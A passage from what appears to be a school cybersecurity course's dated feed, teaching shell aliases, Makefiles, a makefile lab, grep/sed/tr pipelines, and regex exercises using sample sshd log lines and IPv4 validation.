&lt;li&gt; &lt;code&gt;alias python="python3"&lt;/code&gt; would default the python command to always be python3, this would not impact your ability to use python2 or python3 commands. It would affect how your scripts are run on your computer, but NOT how it would run on soemone else's computer! &lt;/li&gt;
&lt;li&gt; &lt;code&gt;alias rm='rm -i'&lt;/code&gt; would make every rm command ask for confirmation before deleting.&lt;/li&gt;
&lt;li&gt; I have a colorized cat program in &lt;code&gt;~/bin/&lt;/code&gt; and I aliased cat to it as follows: &lt;code&gt;alias cat='~/bin/ccat -G String="green" -G Plaintext="bold" -G Keyword="blue" -G Punctuation="red"'&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;VPN&lt;/h3&gt;
&lt;p&gt;We will be using openVPN for accessing some cybersecurity resources.&lt;/p&gt;
&lt;h2&gt;Make&lt;/h2&gt;
&lt;p&gt;Make is a program to easily run other programs!&lt;/p&gt;
&lt;p&gt; &lt;strong&gt;make&lt;/strong&gt; is a command that we will be using for labs. If you use windows your gitbash doesn't have this tool.&lt;/p&gt;
&lt;p&gt;On windows you have to download &lt;a href="http://gnuwin32.sourceforge.net/packages/make.htm"&gt;Make for windows&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;On wsl or linux you can just run: &lt;code&gt;sudo apt install build-essential&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Makefiles&lt;/h3&gt;
&lt;p&gt;Make is configured to do whatever you need it to do using a file you create that is named "makefile".&lt;/p&gt;
&lt;p&gt;This allows developers to distribute software to other developers without having to wory about complex compilation/configuration steps.&lt;/p&gt;
&lt;h3&gt;Makefile syntax&lt;/h3&gt;
&lt;p&gt;To use make, you will need to be very careful with tabs vs spaces.&lt;/p&gt;
&lt;p&gt;Because java automatically compiles required files, and python doesn't require compilation, the dependencies do not seem important. They are in many languages, they are not used here to keep things simple.&lt;/p&gt;
&lt;p&gt;syntax of a typical rule: (note tabs won't display as tabs in a website, so aways use 1 tab to indicate a recipe)&lt;/p&gt;
&lt;code&gt;
  .PHONY: run clean
  target: prerequisites
  &amp;lt;TAB&amp;gt;recipe
  target2: prerequisites
  &amp;lt;TAB&amp;gt;recipe2
  &lt;/code&gt;
&lt;p&gt;That is the tab character (tab key), not the symbols written.&lt;/p&gt;
&lt;p&gt;target are often FILES that the recipe will make.&lt;/p&gt;
&lt;p&gt;Prerequesites are any FILES that are required to run the recipe.&lt;/p&gt;
&lt;p&gt;The .PHONY commands are examples of targets that are NOT files. You should avoid making files that overlap the run commands, e.g. do not make a program called "run" if you want to use "make run" to execute that program.&lt;/p&gt;
&lt;h3&gt;Examples of makefiles:&lt;/h3&gt;
&lt;p&gt; &lt;strong&gt;URGENT NOTE:&lt;/strong&gt; these examples are not copy/paste-able because websites don't display tab characters.
   You must ensure text is left justified or tabbed over once!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run:
 python2 file.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A simple recipe to run a command: (you cannot copy paste this as web browsers do not use "tab" and makefiles REQUIRE tab indentation)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;say_hello:
    echo "Hello World"&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now run the file by typing make inside the directory that contains the makefile. The output will be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ make
echo "Hello World"
Hello World
$ &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can put comments at the top of your makefile. You can also make multiple targets. The first target is the "default" which is run when no arguments are provided to the make program.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Usage:
# make        : compile all java files
# make run    : run the program
# make clean  : remove all class files
.PHONY: run clean default
default:
    javac *.java
run:
    java Driver
clean:
    rm *.class&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can pass arguments into your programs using makefile too! &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Usage:
# make run ARGS=filename
# also note the @ before echo, this will not echo the command on the terminal
# you can test it both ways to see the difference.
.PHONY: run default
default:
    @echo "example: make run ARGS=textfile.txt"
run:
    python File.py $(ARGS)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Final note on makefiles, after you test them and they work, you should add @ before each command so you do not see the command itself, only the output.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Usage:
# make        : compile all java files
# make run    : run the program
# make clean  : remove all class files
.PHONY: run clean
run: Driver.class
    @java Driver
Driver.class: Driver.java
    @javac Driver.java
clean:
    @rm *.class&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Dependencies&lt;/h4&gt;
&lt;p&gt;The above includes an example of dependency usage.&lt;/p&gt;
&lt;h3&gt;More notes on makefiles&lt;/h3&gt;
&lt;p&gt;You can find more information on makefiles here: &lt;a href="http://konstantinnovation.github.io/systems.html#2024-09-16n"&gt;http://konstantinnovation.github.io/systems.html#2024-09-16n&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Requirements for next lab:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;make&lt;/li&gt;
&lt;li&gt;args of your program : e.g.   java Driver 10 fish or  python3 Driver.py 10 fish&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you don't remember command line args in java see here: &lt;a href="https://konstantinnovation.github.io/apcs1.html#2025-11-21n"&gt;https://konstantinnovation.github.io/apcs1.html#2025-11-21n&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Extra stuff&lt;/h3&gt;
&lt;p&gt;Since people ask about my shell here is my customization (mostly) &lt;a href="https://github.com/konstantinnovation/customize"&gt;https://github.com/konstantinnovation/customize&lt;/a&gt; &lt;/p&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-01-30n"/><published>2026-01-30T12:00:00+00:00</published></entry><entry><id>2026-02-02n</id><title>2026-02-02</title><updated>2026-02-02T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-02n"&gt;
&lt;p&gt;&lt;strong&gt;2026-02-02&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;It's GROUNDHOG DAY!&lt;/h2&gt;
&lt;img alt="Bill Murray with a groundhog driving a truck." loading="lazy" src="img/groundhogDay.jpg" width="400"/&gt;
&lt;h2 id="2025-02-02h"&gt;Lab00&lt;/h2&gt;
&lt;p&gt;This is a test lab to ensure you can use the tools required for future labs.&lt;/p&gt;
&lt;p&gt;You must always test your labs on the StuyCS Lab computers, to avoid any compatibility issues.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://classroom.github.com/a/uNMA5sck"&gt;https://classroom.github.com/a/uNMA5sck&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;The goal is to use and test a makefile&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;ALWAYS make your makefile first, and use your makefile when testing your code.&lt;/li&gt;
&lt;li&gt;Create a makefile to use with your program. If you have difficulty read directions, and ask on piazza&lt;/li&gt;
&lt;li&gt;create a makefile with the following targets:&lt;/li&gt;
&lt;li&gt;compile     : compile if needed&lt;/li&gt;
&lt;li&gt;make clean  : remove any compiled files&lt;/li&gt;
&lt;li&gt;make run $ARGS="args go here"   : compile ONLY if needed, then run the program with the arguments provided in the ARGS string.&lt;/li&gt;
&lt;li&gt;Do not use @ suppression until you know your makefile works correctly, then you must add @ to the start of each command&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Write a program in either java or c that does the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;when the arguments are -u and a string: Uppercase a string&lt;/li&gt;
&lt;li&gt;when the arguments are -l and a string: Lowercase a string&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Example:&lt;/h4&gt;
&lt;p&gt;The first make will compile. The other make run commands will run your program.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$make compile
$make run ARGS="-u asdf"
ASDF
$make run ARGS="-l aSdF1"
asdf1
$&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice no output when typing make.&lt;/p&gt;
&lt;h4&gt;Example 2: (auto compile if needed)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$make clean
$make run ARGS="-l fish FOOD"
fish food
$&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The most basic makefile should have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHONY&lt;/li&gt;
&lt;li&gt;clean&lt;/li&gt;
&lt;li&gt;run (or other commands to run your program e.g. encode/decode)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The run command or encode/decode etc should have dependencies if there is a compilation step:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;for c: you should have all c files compile to o files separately. Only compile what is changed. (this was done in systems)&lt;/li&gt;
&lt;li&gt;for java: javac has built-in dependency checking for related classes within the same compilation run. You can clean as a prerequisite before you call javac, and it will be sufficient.  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don't worry about variables, or wildcards. You can read more advanced things about make here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://makefiletutorial.com/"&gt;https://makefiletutorial.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-02n"/><published>2026-02-02T12:00:00+00:00</published></entry><entry><id>2026-02-03n</id><title>2026-02-03</title><updated>2026-02-03T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-03n"&gt;
&lt;p&gt;&lt;strong&gt;2026-02-03&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Scavenger Hunt all clues&lt;/h3&gt;
&lt;p&gt;I used grep as follows:&lt;/p&gt;
&lt;code&gt;grep -r "### Clue"&lt;/code&gt;
&lt;p&gt;However the output was ugly so:&lt;/p&gt;
&lt;code&gt;grep -r "### Clue" | sort -k 3n&lt;/code&gt;
&lt;p&gt;This uses the 3rd item in each row as sorting key, and treats it like a number.&lt;/p&gt;
&lt;p&gt;Since I still thought this was ugly...&lt;/p&gt;
&lt;code&gt; grep -r "### Clue" | sort -k 3n | sed -E 's/(.*)\/.* Clue (.*): .*/Clue:\2 Folder:\1/' &lt;/code&gt;
&lt;p&gt;I didn't teach you sed, but the (.*) are capturing the characters before the first slash, and the characters between "Clue " and the
":" then outputs them in a nice format&lt;/p&gt;
&lt;p&gt;Regular expressions are very useful in pattern matching and manipulating&lt;/p&gt;
&lt;h3&gt;prerequisite terminal skills:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Opening a terminal&lt;/li&gt;
&lt;li&gt;Creating folders and files in the location you want&lt;/li&gt;
&lt;li&gt;Copying/Moving/Editing files&lt;/li&gt;
&lt;li&gt;Using SSH to run commands on another computer&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;TTY sessions&lt;/h3&gt;
&lt;p&gt;TTY used to refer to a physicpxal TeleTYpewriter which was a machine that connected remotely but now is just refers to one of the terminals connected to the machine.&lt;/p&gt;
&lt;p&gt;You can access tty4 (ctrl-alt-f4) and tty5 (ctrl-alt-f5) before you log in, and then you will have to log in to that tty session.&lt;/p&gt;
&lt;p&gt;Make sure you &lt;code&gt;exit&lt;/code&gt; your tty session before you leave the computer, as it does not lock the screen or log you out!&lt;/p&gt;
&lt;p&gt;Nothing screams "script kiddie"* like someone using a TTY session to show off then forgetting to log out and getting their information stolen&lt;/p&gt;
&lt;p&gt;*Look up script kiddie&lt;/p&gt;
&lt;p&gt;
Using a tty session is sometimes good practice to see how well you fare without the GUI. You OFTEN need to interact with
   remote computers via ssh, giving you only terminal access, so this is in fact a useful skill, not a bragging point.
&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;h3&gt;cheat.sh&lt;/h3&gt;
&lt;p&gt;How to get help in a terminal assuming you have web access?&lt;/p&gt;
&lt;p&gt;http://cheat.sh is a website that has examples of how to use linux commands in different ways. This is often more useful than man pages when you don't know how a command is used.&lt;/p&gt;
&lt;p&gt;Accessing cheat.sh from a browser when you are in a terminal may not be ideal, so there is a quick way to get the info on your current terminal:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl cheat.sh/COMMAND_TO_LOOK_UP&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Note: curl stands for Client URL&lt;/p&gt;
&lt;h3&gt;Plumbing&lt;/h3&gt;
&lt;p&gt;The linux system has a large variety of commands that do small things. By combining these tools you can accomplish a very large variety of results.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ls&lt;/strong&gt; lists files and directories but has many flags to make it more useful.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;wc&lt;/strong&gt; counts the number of lines, words and characters in a block of text. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sort&lt;/strong&gt; will sort a block of text alphabetically&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;uniq&lt;/strong&gt; can replace duplicate entries with a single entery, and optionally count the number of repeats &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sed&lt;/strong&gt; stream edit, lets you modify a stream like standard out in real time as it is printed.&lt;/p&gt;
&lt;p&gt;Remember you can &lt;code&gt;curl cheat.sh/COMMAND&lt;/code&gt; if you need some examples/hints/help&lt;/p&gt;
&lt;h3&gt;Demo From Class:&lt;/h3&gt;
&lt;p&gt;You can give a command parameters:&lt;/p&gt;
&lt;pre&gt;cowsay Moooo!&lt;/pre&gt;
&lt;p&gt;Or you can pipe | commands into another command:&lt;/p&gt;
&lt;pre&gt;fortune | cowsay&lt;/pre&gt;
&lt;p&gt;You can pipe the output of several program into eachother:&lt;/p&gt;
&lt;pre&gt;fortune | cowsay | lolcat&lt;/pre&gt;
&lt;p&gt;You can also use loops on the shell:&lt;/p&gt;
&lt;pre&gt;while true; do date '+%D %T' |
  toilet -f term -F border |
  lolcat; sleep 1; done&lt;/pre&gt;
&lt;h2&gt;Homework&lt;/h2&gt;
&lt;h3&gt;Regular Expressions (regex):&lt;/h3&gt;
&lt;p&gt;1. Spend 20 minutes to familiarize yourself with either regex tutorial so you get an idea of how this works before tomorrow.&lt;/p&gt;
&lt;a href="https://regexlearn.com/learn/regex101"&gt;https://regexlearn.com/learn/regex101&lt;/a&gt;
&lt;p&gt;or here: &lt;/p&gt;
&lt;a href="https://regexone.com/"&gt;https://regexone.com/&lt;/a&gt;
&lt;p&gt;2. Try to apply regex using this testing site: &lt;a href="https://regex101.com/"&gt;https://regex101.com/&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Your goal is to try to see in realtime how the regex expression matches text&lt;/p&gt;
&lt;p&gt;You should use ^ and $ operators for line boundaries as well.&lt;/p&gt;
&lt;p&gt;Here is some sample text to work with, try to match ONLY the usernames, try to match ONLY the IP addresses:&lt;/p&gt;
&lt;p&gt;You will want to use capture groups for this, so you can match parts of the whole line e.g. "(.*) sshd.*" would capture "Feb 06 10:15:28 marge" from each line in the group designated by the parenthesis.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Feb 06 10:15:28 marge sshd[1983193]: Failed password for root from 218.92.0.76 port 24168 ssh2
Feb 06 10:15:30 marge sshd[1983195]: Failed password for root from 61.177.172.160 port 18985 ssh2
Feb 06 10:15:39 marge sshd[1983202]: Failed password for invalid user min from 43.153.223.232 port 41606 ssh2
Feb 06 10:15:42 marge sshd[1983200]: Failed password for root from 61.177.172.160 port 37258 ssh2
Feb 06 10:15:49 marge sshd[1983207]: Failed password for invalid user bodega from 34.66.142.113 port 43408 ssh2
Feb 06 10:16:02 marge sshd[1983216]: Failed password for root from 180.101.88.241 port 49238 ssh2
Feb 06 10:16:02 marge sshd[1983218]: Failed password for invalid user btest from 43.163.226.99 port 50308 ssh2&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;
    Note: I absolutely need to use &lt;a href="https://regex101.com/"&gt;https://regex101.com/&lt;/a&gt;
    to help me tweak my expressions, it is like having a compiler for a language.
  &lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-03n"/><published>2026-02-03T12:00:00+00:00</published></entry><entry><id>2026-02-04n</id><title>2026-02-04</title><updated>2026-02-04T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-04n"&gt;
&lt;p&gt;&lt;strong&gt;2026-02-04&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Regular expressions&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://xkcd.com/208/"&gt;https://xkcd.com/208/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="https://imgs.xkcd.com/comics/regular_expressions.png" loading="lazy" src="https://imgs.xkcd.com/comics/regular_expressions.png"/&gt;&lt;/p&gt;
&lt;p&gt;There are regex quick references all over the internet, but just a few things here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;^ : the start of the line&lt;/li&gt;
&lt;li&gt;$ : the end of the line&lt;/li&gt;
&lt;li&gt;. : any single character except newline&lt;/li&gt;
&lt;li&gt;* : zero or more of the preceding match&lt;/li&gt;
&lt;li&gt;+ : one or more of the preceding match&lt;/li&gt;
&lt;li&gt;? : zero or one of the preceding match&lt;/li&gt;
&lt;li&gt;(a|b) : either something that matches a or b&lt;/li&gt;
&lt;li&gt;[abc] : any one character of a, b, and c&lt;/li&gt;
&lt;li&gt;^ : can also be used inside of [] to negate the result&lt;/li&gt;
&lt;li&gt;\b : a word boundary&lt;/li&gt;
&lt;li&gt;\s is a shorthand for [ \t\r\n\f] which is whitespace characters (tab newline space etc.)&lt;/li&gt;
&lt;li&gt;\S equivals to [^ \t\r\n\f] which is non-whitespace&lt;/li&gt;
&lt;li&gt;x{n} : Where "n" is a positive integer, matches exactly "n" occurrences of the preceding item "x". &lt;/li&gt;
&lt;li&gt;x{n,m} :	Where "n" is 0 or a positive integer, "m" is a positive integer, and m &amp;gt; n, matches at least "n" and at most "m" occurrences of the preceding item "x". &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can use these (and more options) to find or validate strings.&lt;/p&gt;
&lt;p&gt;Create a regex that will match some of the following words but not the rest using what you know of regex:&lt;/p&gt;
&lt;p&gt;Two or more consecutive z's in the middle of non-z's.&lt;/p&gt;
&lt;pre&gt;--match:
wazzzzzzzup
wazzup
zwazzup
wazzzzupz
skip:
wazup
waup
aszbczasdf
zabczz
zzzzzz
zzzaaaazzz
  &lt;/pre&gt;
&lt;p&gt;even number of consecutive z's but not 0, in the middle of non-z's.&lt;/p&gt;
&lt;pre&gt;--match:
wazzzzzzup
wazzzzup
wazzup
zwazzzzupz
--skip:
wazup
wazuzp
wazzzup
fazzzup
fazzzuli
zzfaulizzzz&lt;/pre&gt;
&lt;p&gt;Use capture groups, not a 3 way or statement.&lt;/p&gt;
&lt;pre&gt;match:
timtim-tim
kimkim-kim
jimjim-jim
skip: all other patterned words
timtan-tim
kimtim-tim
rintin-tin
jimjim-kim
etc.
&lt;/pre&gt;
&lt;h3&gt;Regex realtime preview is helpful&lt;/h3&gt;
&lt;p&gt;I often use &lt;a href="https://regex101.com/"&gt;https://regex101.com/&lt;/a&gt; to validate my regular expressions.&lt;/p&gt;
&lt;p&gt;*I absolutely needed to use it when I haven't touched regex in a while, or when my expression is complicated.&lt;/p&gt;
&lt;p&gt;Also remember you have other sites to give you some regex help:&lt;/p&gt;
&lt;a href="https://regexlearn.com/learn/regex101"&gt;https://regexlearn.com/learn/regex101&lt;/a&gt;
&lt;p&gt;or here: &lt;/p&gt;
&lt;a href="https://regexone.com/"&gt;https://regexone.com/&lt;/a&gt;
&lt;p&gt;What kinds of strings does the following expressions match? &lt;/p&gt;
&lt;pre&gt;
  A: \bR[a-z]{4,10}e\b
  B: \bR[a-zA-Z]{4,10}[e|E]\b
&lt;/pre&gt;
&lt;p&gt;Here are some test strings, decide if each string matches regex A , B or both&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reeeee&lt;/li&gt;
&lt;li&gt;REEEEE&lt;/li&gt;
&lt;li&gt;ReEEeE&lt;/li&gt;
&lt;li&gt;ReEeEe&lt;/li&gt;
&lt;li&gt;Rffffffffe&lt;/li&gt;
&lt;li&gt;Rfefefefee&lt;/li&gt;
&lt;li&gt;Re&lt;/li&gt;
&lt;li&gt;REE&lt;/li&gt;
&lt;li&gt;REeE&lt;/li&gt;
&lt;li&gt;ReEee&lt;/li&gt;
&lt;li&gt;Rfffe&lt;/li&gt;
&lt;li&gt;Rffee&lt;/li&gt;
&lt;li&gt;Reeeeed&lt;/li&gt;
&lt;li&gt;REEEEEf&lt;/li&gt;
&lt;li&gt;ReEEeEc&lt;/li&gt;
&lt;li&gt;ReEeEet&lt;/li&gt;
&lt;li&gt;Rffffffffet&lt;/li&gt;
&lt;li&gt;Rfefefefeef&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="2026-02-04h"&gt;Classwork + Homework 02:&lt;/h3&gt;
&lt;p&gt;Submit in your classwork directory with the path/filename: &lt;code&gt;CLASSWORK_REPONAME/02/regex.txt&lt;/code&gt; this should be a plain text document.&lt;/p&gt;
&lt;h2&gt;Urgent&lt;/h2&gt;
&lt;p&gt;Your homework is to show multiple expressions per question. &lt;strong&gt;If you just submit your answer, then you will get NO credit&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;Show the evolution of your answer by including &lt;strong&gt; EACH expression that you went through to get to your final answer!&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;Put a heading on your file: &lt;/p&gt;
&lt;pre&gt;Last,First,Period
HW##,DATE&lt;/pre&gt;
&lt;h3&gt;Question 1&lt;/h3&gt;
&lt;p&gt;Write a regex that checks for valid names.&lt;/p&gt;
&lt;p&gt;You will be submitting as many expressions as you needed to built up the final answer. You do not have to inflate this quantity but it should be more than 1 for sure.&lt;/p&gt;
&lt;h4&gt;What is a valid name?&lt;/h4&gt;
&lt;p&gt;A valid name consists of the following:&lt;/p&gt;
&lt;p&gt;first name, an optional middle name or initial, and a last name, separated by spaces.&lt;/p&gt;
&lt;p&gt;First, middle and last names start with a capital letter and are followed by one or more lowercase letters.&lt;/p&gt;
&lt;p&gt;If the name has a middle initial, instead of a middle name, it must be a capital letter followed by a period. &lt;/p&gt;
&lt;p&gt;Sorry we are lumping 2 part first names or two part last names into "middle names" to simplify things. We are also not including titles like junior, senior, esquire etc.&lt;/p&gt;
&lt;p&gt;Examples you should paste into &lt;a href="https://regex101.com/"&gt;https://regex101.com/&lt;/a&gt; &lt;/p&gt;
&lt;pre&gt;MATCH:
Joe Public
Xiao Xiao Mao
Joe Q. Public
Joe Quincy Public
Ferris Buler
William M. Mason
David Copperfield

DO NOT MATCH:
Joe P.
Omae wa mou shindeiru
Joe Q Public
Joe Qu. Public
Joe Quincy Reginald Public
Joe Quincy Public, the Third
Dave P.
Little Richard III&lt;/pre&gt;
&lt;p&gt;Your answer should be something like this (spaces will represent actual spaces):&lt;/p&gt;
&lt;pre&gt; [a-z]* [a-z]* [a-z]*&lt;/pre&gt;
&lt;p&gt;To match a whole line, so that you don't get partial names, we use the ^ for the start of the line, and $ for the end of the line.&lt;/p&gt;
&lt;pre&gt;^[a-z]* [a-z]* [a-z]*$&lt;/pre&gt;
&lt;p&gt;Lets not forget some last names are hyphenated!&lt;/p&gt;
&lt;p&gt;optional: (Hyphenated last names with upper case)&lt;/p&gt;
&lt;pre&gt;
Abby Smith-Fitzgerald
Aerating A. Silver-Kimono
Joe Quincy Public-Defender&lt;/pre&gt;
&lt;h3&gt;Question 2&lt;/h3&gt;
&lt;h4&gt;Part a&lt;/h4&gt;
&lt;p&gt;First match IPV4 address formats, four numbers separated by periods. E.g &lt;code&gt;1.2.3.4&lt;/code&gt;, &lt;code&gt;192.168.1.24&lt;/code&gt;, etc. &lt;/p&gt;
&lt;h4&gt;Part b: keep updating your regex&lt;/h4&gt;
&lt;p&gt;Update your answer to REJECT invalid ip addresses. Each of the four numbers must be between 0 and 255. There should be NO leading zeros.&lt;/p&gt;
&lt;p&gt;Accept: (but not limited to these)&lt;/p&gt;
&lt;pre&gt;1.1.1.1px
255.0.0.255
192.168.1.255
192.168.1.1
255.255.255.255
0.0.0.0&lt;/pre&gt;
&lt;p&gt;Reject: (fewer or greater than 4 numbers, numbers out of range, negative numbers, missing numbers, extra periods etc.)&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;pre&gt;
30.168.1.255.1
127.1
192.268.1.156
192.268.-1.156
192.168.1.256
-1.2.3.4
1.1.1.01
1.1.1.1.
8.8.8..8
3...3&lt;/pre&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-04n"/><published>2026-02-04T12:00:00+00:00</published></entry><entry><id>2026-02-05n</id><title>2026-02-05</title><updated>2026-02-05T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-05n"&gt;
&lt;p&gt;&lt;strong&gt;2025-02-06&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Quiz&lt;/h3&gt;
&lt;p&gt;Next week you will have a quiz on terminal commands and regex. I don't know which day yet, but this is a nice way to give a narrow scope of topics.&lt;/p&gt;
&lt;p&gt;From regexlearn.com (up to 44), you need it all except for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Non-capturing Grouping&lt;/li&gt;
&lt;li&gt;look-ahead&lt;/li&gt;
&lt;li&gt;look-behind&lt;/li&gt;
&lt;li&gt;Flags&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Using regex with grep&lt;/h3&gt;
&lt;p&gt;grep requires the -E  (Extended) flag for full regex support, otherwise it has only a subset of what we learned. This is true for many regex compatible tools, though the flag may be different.&lt;/p&gt;
&lt;h3&gt;New useful terminal commands&lt;/h3&gt;
&lt;p&gt;tr - Translate, squeeze, and/or delete characters from standard input, writing to standard output.&lt;/p&gt;
&lt;p&gt;-d (delete)&lt;/p&gt;
&lt;p&gt;-s (squeeze repeats)&lt;/p&gt;
&lt;p&gt;Let us use tr to help us do some manipulation of a text file...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;replace uppercase with lowercase&lt;/li&gt;
&lt;li&gt;replace spaces with newlines&lt;/li&gt;
&lt;li&gt;squeeze multiple repeats into a single&lt;/li&gt;
&lt;li&gt;delete all puinctuation&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What else can we do with these tools?&lt;/h3&gt;
&lt;pre&gt;cat FILENAME | tr -d '[:punct:]' | tr ' ' '\n' |
tr -s '\n' | tr "[A-Z]" "[a-z]" |
\grep  -vx -f /usr/share/dict/american-english -i&lt;/pre&gt;
&lt;p&gt;I excaped grep because of a macro, \command will make you use the command WITHOUT resolving an alias.&lt;/p&gt;
&lt;p&gt;e.g. if you have &lt;code&gt;alias rm=rm -i&lt;/code&gt; then &lt;code&gt;\rm FILENAME&lt;/code&gt; will ignore the alias and not use the -i &lt;/p&gt;
&lt;h3&gt;Remember the clues from the scavenger hunt?&lt;/h3&gt;
&lt;p&gt;Look at the extra command at the end of this chain:&lt;/p&gt;
&lt;pre&gt;grep -r "### Clue" | sort -k 3n |
    sed -E 's/(.*)\/.* Clue (.*): .*/Clue:\2 Folder:\1/'&lt;/pre&gt;
&lt;p&gt;What are the parameters in between the "/" in sed? &lt;/p&gt;
&lt;p&gt;We shall now look at sed, the strem editor.&lt;/p&gt;
&lt;h3&gt;Edit the stream:&lt;/h3&gt;
&lt;p&gt;Sed is a stream editing program. Sed has several commands, but most people only learn the substitute command: s. The substitute command changes all occurrences of the regular expression into a new value. A simple example is changing "day" in the "old" file to "night" in the "new" file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed s/day/night/ &amp;lt; oldfile  &amp;gt; newfile&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sed s/day/night/ oldfile &amp;gt; newfile&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat oldfile | sed s/day/night/ &amp;gt; newfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To test this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo day | sed s/day/night/ &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will output "night".&lt;/p&gt;
&lt;h3&gt;Using with regex:&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sed -E 's/target/replacement/'&lt;/code&gt; where -E is for extended regex.&lt;/p&gt;
&lt;h4&gt;Matching up to a specific word(or words)&lt;/h4&gt;
&lt;p&gt;Given this data file called 'words':&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a fish bites
a dog barks
the dog runs
many fish fly
many fish fry
my dog sleeps
  &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to match UP TO a string or multiple strings you can do the following:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat words |  sed -E 's/^.*(dog |fish )//'&lt;/code&gt; will replace everything UP TO dog or fish and replace with nothing.&lt;/p&gt;
&lt;p&gt; &lt;code&gt;cat words | sed -E 's/.*(dog|fish).*/\1/'&lt;/code&gt; will capture the entire line and replace it with capture group 1. The \1 in the replacement field stands for capture group 1.&lt;/p&gt;
&lt;p&gt;This effectively strips away all parts on the left and right side of the words we wanted. Now lets try to combine our regex powers...&lt;/p&gt;
&lt;h3&gt;Using this hands on:&lt;/h3&gt;
&lt;h4&gt;ssh can take command line arguments!&lt;/h4&gt;
